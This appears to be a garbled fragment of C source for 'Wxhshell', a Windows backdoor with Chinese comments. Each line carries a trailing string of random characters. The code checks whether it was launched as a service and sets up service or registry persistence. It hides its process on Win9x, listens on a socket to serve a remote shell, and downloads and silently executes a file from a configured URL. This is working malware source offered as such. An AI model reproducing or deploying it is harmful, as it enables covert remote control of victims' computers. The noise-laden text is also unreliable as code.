DWORD BasePriority; 'aSsyD!?<
ULONG UniqueProcessId; [xS7ae
ULONG InheritedFromUniqueProcessId; s~M4. 06P
} PROCESS_BASIC_INFORMATION; +^.Yt0}
umYsO.8
PROCNTQSIP NtQueryInformationProcess; ]so/AdT9hA
m`yvZ4K!
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; >m%_`68
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; y>o:5':;'
UXm_-/&b9
HANDLE hProcess; ,d"T2Hy
PROCESS_BASIC_INFORMATION pbi; &<&tdShI
jqUVERbc
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); i~@gI5[k+
if(NULL == hInst ) return 0; o9kJ90{D=
,K5K?C$k
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); H.5
6
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); m=l>8
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); uGU2
0.MB;gm:
if (!NtQueryInformationProcess) return 0; <)qa{,GX\
<=(K'eqC^
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 7 N}@zPAZ
if(!hProcess) return 0; 7Cz~nin>7
26V6Y2X
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ysaRH3M
m&)/>'W
CloseHandle(hProcess); rH}|~
vYgJu-Sl
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); /[R=-s ;
if(hProcess==NULL) return 0; inu.U[.
HQ-[k$d
W4
HMODULE hMod; aDS:82GMQ
char procName[255]; lrrTeE*
unsigned long cbNeeded; *G"hjc$L
X3:1KDVsV
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); "~r<ZG
t]xz7VQ
CloseHandle(hProcess); &3vm
@
> ,6
if(strstr(procName,"services")) return 1; // 以服务启动 1[P}D~ nQ
d59rq<yI
return 0; // 注册表启动 K1
f1T
} R
iZ)FW
GT6; I7
// 主模块 n:AZ(f
int StartWxhshell(LPSTR lpCmdLine) ib,`0=0= O
{ 6IqPZ{g9K'
SOCKET wsl; u`ir(JIj]
BOOL val=TRUE; $z=a+t *
int port=0; ~d*Q{v~3
struct sockaddr_in door; AD;m[u7
:Drf]D(sMX
if(wscfg.ws_autoins) Install(); <bcf"0A
0\mf1{$"!7
port=atoi(lpCmdLine); _Sjj|j
vfSPgUB)
if(port<=0) port=wscfg.ws_port; ,='Ihi
VL#:oyWA
WSADATA data; z,Xj$wl
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; I:dUHN+@L5
&A:&2sP8
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; Dj/Hz\
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); Df"PNUwA"
door.sin_family = AF_INET; P@y)K!{Nk
door.sin_addr.s_addr = inet_addr("127.0.0.1"); .ATpwFal
door.sin_port = htons(port); tP_.-//
r] /Ej!|
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { f2.=1)u.
closesocket(wsl); B:>:$LIL
return 1; QPuc{NcB>
} O>E}Lu;|
Wvb ~j
if(listen(wsl,2) == INVALID_SOCKET) { ,e'r 0
closesocket(wsl); /#9P0@Y
return 1; |=5zI6pT
} 9>{fsy
Wxhshell(wsl); `;mgJD
WSACleanup(); m%9Yo%l~
_DR@P(0>_
return 0; ^"Bhp:o2
NSVE3
} " ILF!z
Y`gO:d8
// 以NT服务方式启动 Q8m~L1//S
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) %
jDH{xSMb
{ P`rfDQoZ
DWORD status = 0; *,u{,$}2
DWORD specificError = 0xfffffff; hy/g*>
6+=_p$crMx
serviceStatus.dwServiceType = SERVICE_WIN32; !\ b-Ot(
serviceStatus.dwCurrentState = SERVICE_START_PENDING; j32*9
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; taDe^Istj
serviceStatus.dwWin32ExitCode = 0; 8{Wl
serviceStatus.dwServiceSpecificExitCode = 0; o0WwlmB5
serviceStatus.dwCheckPoint = 0; ybpOk
serviceStatus.dwWaitHint = 0; )[eTZg
_J*l,]}S
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); qt:B]#j@
if (hServiceStatusHandle==0) return; xst-zfkH`
5$i(f8*
status = GetLastError(); 7,)E1dx -V
if (status!=NO_ERROR) r?KRK?I
{ 0H rvr
serviceStatus.dwCurrentState = SERVICE_STOPPED; hq"nRH
serviceStatus.dwCheckPoint = 0; rzdQLan
serviceStatus.dwWaitHint = 0; qFVZhBC
serviceStatus.dwWin32ExitCode = status; j6s j 2D
serviceStatus.dwServiceSpecificExitCode = specificError; Z71_D
SetServiceStatus(hServiceStatusHandle, &serviceStatus); &wQ<sVQ0$
return; V 2Xv)
} Zl[EpXlZ
"tT4Cb3
serviceStatus.dwCurrentState = SERVICE_RUNNING; PU%Zay
serviceStatus.dwCheckPoint = 0; S))B^).0-
serviceStatus.dwWaitHint = 0; *vQ 6LF;y
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); =pzTB-G
} 42e [OG-
lP=,|xFra
// 处理NT服务事件,比如:启动、停止 a|TUH+|
VOID WINAPI NTServiceHandler(DWORD fdwControl) )P?0YC
{ xM{[~Kh_x
switch(fdwControl) ,7$&gx>2&
{ XiV*d06{
case SERVICE_CONTROL_STOP: UQI!/6F
serviceStatus.dwWin32ExitCode = 0; RYl{89
serviceStatus.dwCurrentState = SERVICE_STOPPED; \7UeV:3Ojn
serviceStatus.dwCheckPoint = 0; &]f8Xd
serviceStatus.dwWaitHint = 0; "1dpv\
{ W-D4"
G@
SetServiceStatus(hServiceStatusHandle, &serviceStatus); ^tyqc8&
} * W"Pv,:
return; hQ)?LPUB
case SERVICE_CONTROL_PAUSE: fyZtwl@6w#
serviceStatus.dwCurrentState = SERVICE_PAUSED; ?(khoL t
break; 8z-wdO\
case SERVICE_CONTROL_CONTINUE: SXXO#
serviceStatus.dwCurrentState = SERVICE_RUNNING; }WR@%)7ay
break; ?!tO'}?
case SERVICE_CONTROL_INTERROGATE: 1@-l@ P
break; Ug[0l)
}; `^g-2~
SetServiceStatus(hServiceStatusHandle, &serviceStatus); ?<OE|nb&
} p-oEoA
E)'T;%
// 标准应用程序主函数 .^- I<4 .
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) FIJ]`
{ OK@yMGz1I
v&])D/a
// 获取操作系统版本 x {Rj2~KC
OsIsNt=GetOsVer(); W$}2
$}r0U
GetModuleFileName(NULL,ExeFile,MAX_PATH); Kk \,q?
`)i4ZmE|
// 从命令行安装 b^~4 k; <
if(strpbrk(lpCmdLine,"iI")) Install(); 1<]?@[l<
mt *Dx
// 下载执行文件 U
d+6=Us{
if(wscfg.ws_downexe) { vQ5rhRG)E
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) Z'wGZ(
WinExec(wscfg.ws_filenam,SW_HIDE); lo7>$`Q
} BgsU:eKe
9:!V":8q
if(!OsIsNt) { <?rdhx
// 如果时win9x,隐藏进程并且设置为注册表启动 P!R`b9_U
HideProc(); ) C#>@W
StartWxhshell(lpCmdLine); o~x49%X<c
} tac_MtW?
else {ZUgyGE{
if(StartFromService()) ;0dl
// 以服务方式启动 /7R0w
StartServiceCtrlDispatcher(DispatchTable); :Q;mgHTNz
else y<ZT~e
// 普通方式启动 SQdK`]4
StartWxhshell(lpCmdLine); 'V4B{n7h
M r~IVmtf
return 0; xy^z_`
}